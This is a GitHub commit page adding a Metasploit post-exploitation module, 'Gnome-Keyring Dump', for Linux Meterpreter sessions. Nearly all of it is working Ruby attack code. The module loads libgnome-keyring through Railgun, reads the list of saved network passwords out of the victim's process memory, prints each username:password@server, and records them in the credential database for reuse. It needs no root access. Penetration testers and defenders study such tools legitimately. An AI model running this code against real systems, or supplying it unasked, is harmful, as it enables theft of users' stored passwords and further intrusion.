Skip to content

Commit 7bcaaf3

Browse files
author
Brent Cook
committed
Land rapid7#8294, gnome keyring post exploit credential dumper
2 parents 6485042 + e9fcc3c commit 7bcaaf3

File tree

1 file changed

+258
-0
lines changed

1 file changed

+258
-0
lines changed
Lines changed: 258 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,258 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'bindata'
7+
8+
class MetasploitModule < Msf::Post
9+
10+
def initialize(info={})
11+
super(update_info(info,
12+
'Name' => 'Gnome-Keyring Dump',
13+
'Description' => %q{
14+
Use libgnome-keyring to extract network passwords for the current user.
15+
This module does not require root privileges to run.
16+
},
17+
'Author' => 'Spencer McIntyre',
18+
'License' => MSF_LICENSE,
19+
'Platform' => [ 'linux' ],
20+
'SessionTypes' => [ 'meterpreter' ]
21+
))
22+
end
23+
24+
class GList_x64 < BinData::Record
25+
endian :little
26+
uint64 :data_ptr
27+
uint64 :next_ptr
28+
uint64 :prev_ptr
29+
end
30+
31+
class GList_x86 < BinData::Record
32+
endian :little
33+
uint32 :data_ptr
34+
uint32 :next_ptr
35+
uint32 :prev_ptr
36+
end
37+
38+
# https://developer.gnome.org/glib/unstable/glib-Doubly-Linked-Lists.html#GList
39+
def struct_glist
40+
session.native_arch == ARCH_X64 ? GList_x64 : GList_x86
41+
end
42+
43+
class GnomeKeyringNetworkPasswordData_x64 < BinData::Record
44+
endian :little
45+
uint64 :keyring
46+
uint64 :item_id
47+
uint64 :protocol
48+
uint64 :server
49+
uint64 :object
50+
uint64 :authtype
51+
uint64 :port
52+
uint64 :user
53+
uint64 :domain
54+
uint64 :password
55+
end
56+
57+
class GnomeKeyringNetworkPasswordData_x86 < BinData::Record
58+
endian :little
59+
uint32 :keyring
60+
uint32 :item_id
61+
uint32 :protocol
62+
uint32 :server
63+
uint32 :object
64+
uint32 :authtype
65+
uint32 :port
66+
uint32 :user
67+
uint32 :domain
68+
uint32 :password
69+
end
70+
71+
# https://developer.gnome.org/gnome-keyring/stable/gnome-keyring-Network-Passwords.html#GnomeKeyringNetworkPasswordData
72+
def struct_gnomekeyringnetworkpassworddata
73+
session.native_arch == ARCH_X64 ? GnomeKeyringNetworkPasswordData_x64 : GnomeKeyringNetworkPasswordData_x86
74+
end
75+
76+
def init_railgun_defs
77+
unless session.railgun.dlls.has_key?('libgnome_keyring')
78+
session.railgun.add_dll('libgnome_keyring', 'libgnome-keyring.so.0')
79+
end
80+
session.railgun.add_function(
81+
'libgnome_keyring',
82+
'gnome_keyring_is_available',
83+
'BOOL',
84+
[],
85+
nil,
86+
'cdecl'
87+
)
88+
session.railgun.add_function(
89+
'libgnome_keyring',
90+
'gnome_keyring_find_network_password_sync',
91+
'DWORD',
92+
[
93+
['PCHAR', 'user', 'in'],
94+
['PCHAR', 'domain', 'in'],
95+
['PCHAR', 'server', 'in'],
96+
['PCHAR', 'object', 'in'],
97+
['PCHAR', 'protocol', 'in'],
98+
['PCHAR', 'authtype', 'in'],
99+
['DWORD', 'port', 'in'],
100+
['PBLOB', 'results', 'out']
101+
],
102+
nil,
103+
'cdecl'
104+
)
105+
session.railgun.add_function(
106+
'libgnome_keyring',
107+
'gnome_keyring_network_password_list_free',
108+
'VOID',
109+
[['LPVOID', 'list', 'in']],
110+
nil,
111+
'cdecl'
112+
)
113+
end
114+
115+
def get_string(address, chunk_size=64, max_size=256)
116+
data = ''
117+
begin
118+
data << session.railgun.memread(address + data.length, chunk_size)
119+
end until data.include?("\x00") or data.length >= max_size
120+
121+
if data.include?("\x00")
122+
idx = data.index("\x00")
123+
data = data[0...idx]
124+
end
125+
126+
data[0...max_size]
127+
end
128+
129+
def get_struct(address, record)
130+
record = record.new
131+
record.read(session.railgun.memread(address, record.num_bytes))
132+
Hash[record.field_names.map { |field| [field, record[field]] }]
133+
end
134+
135+
def get_list_entry(address)
136+
glist_struct = get_struct(address, struct_glist)
137+
glist_struct[:data] = get_struct(glist_struct[:data_ptr], struct_gnomekeyringnetworkpassworddata)
138+
glist_struct
139+
end
140+
141+
def report_cred(opts)
142+
service_data = {
143+
address: opts[:ip],
144+
port: opts[:port],
145+
service_name: opts[:service_name],
146+
protocol: opts[:protocol],
147+
workspace_id: myworkspace_id
148+
}
149+
150+
credential_data = {
151+
post_reference_name: self.refname,
152+
session_id: session_db_id,
153+
origin_type: :session,
154+
private_data: opts[:password],
155+
private_type: :password,
156+
username: opts[:username]
157+
}.merge(service_data)
158+
159+
login_data = {
160+
core: create_credential(credential_data),
161+
status: Metasploit::Model::Login::Status::UNTRIED,
162+
}.merge(service_data)
163+
164+
create_credential_login(login_data)
165+
end
166+
167+
def resolve_host(name)
168+
address = @hostname_cache[name]
169+
return address unless address.nil?
170+
vprint_status("Resolving hostname: #{name}")
171+
begin
172+
address = session.net.resolve.resolve_host(name)[:ip]
173+
rescue Rex::Post::Meterpreter::RequestError
174+
end
175+
@hostname_cache[name] = address
176+
end
177+
178+
def resolve_port(service)
179+
port = {
180+
'ftp' => 21,
181+
'http' => 80,
182+
'https' => 443,
183+
'sftp' => 22,
184+
'ssh' => 22,
185+
'smb' => 445
186+
}[service]
187+
port.nil? ? 0 : port
188+
end
189+
190+
def run
191+
init_railgun_defs
192+
@hostname_cache = {}
193+
libgnome_keyring = session.railgun.libgnome_keyring
194+
195+
unless libgnome_keyring.gnome_keyring_is_available()['return']
196+
fail_with(Failure::NoTarget, 'libgnome-keyring is unavailable')
197+
end
198+
199+
result = libgnome_keyring.gnome_keyring_find_network_password_sync(
200+
nil, # user
201+
nil, # domain
202+
nil, # server
203+
nil, # object
204+
nil, # protocol
205+
nil, # authtype
206+
0, # port
207+
session.native_arch == ARCH_X64 ? 8 : 4
208+
)
209+
210+
list_anchor = result['results'].unpack(session.native_arch == ARCH_X64 ? 'Q' : 'L')[0]
211+
fail_with(Failure::NoTarget, 'Did not receive a list of passwords') if list_anchor == 0
212+
213+
entry = {:next_ptr => list_anchor}
214+
begin
215+
entry = get_list_entry(entry[:next_ptr])
216+
pw_data = entry[:data]
217+
# resolve necessary string fields to non-empty strings or nil
218+
[:server, :user, :domain, :password, :protocol].each do |field|
219+
value = pw_data[field]
220+
pw_data[field] = nil
221+
next if value == 0
222+
value = get_string(value)
223+
next if value.empty?
224+
pw_data[field] = value
225+
end
226+
227+
# skip the entry if we don't at least have a username and password
228+
next if pw_data[:user].nil? or pw_data[:password].nil?
229+
230+
printable = ''
231+
printable << "#{pw_data[:protocol]}://" unless pw_data[:protocol].nil?
232+
printable << "#{pw_data[:domain]}\\" unless pw_data[:domain].nil?
233+
printable << "#{pw_data[:user]}:#{pw_data[:password]}"
234+
unless pw_data[:server].nil?
235+
printable << "@#{pw_data[:server]}"
236+
printable << ":#{pw_data[:port]}"
237+
end
238+
print_good(printable)
239+
240+
pw_data[:port] = resolve_port(pw_data[:protocol]) if pw_data[:port] == 0 and !pw_data[:protocol].nil?
241+
next if pw_data[:port] == 0 # can't report without a valid port
242+
ip_address = resolve_host(pw_data[:server])
243+
next if ip_address.nil? # can't report without an ip address
244+
245+
report_cred(
246+
ip: ip_address,
247+
port: pw_data[:port],
248+
protocol: 'tcp',
249+
service_name: pw_data[:protocol],
250+
username: pw_data[:user],
251+
password: pw_data[:password]
252+
)
253+
254+
end while entry[:next_ptr] != list_anchor and entry[:next_ptr] != 0
255+
256+
libgnome_keyring.gnome_keyring_network_password_list_free(list_anchor)
257+
end
258+
end

0 commit comments

Comments
 (0)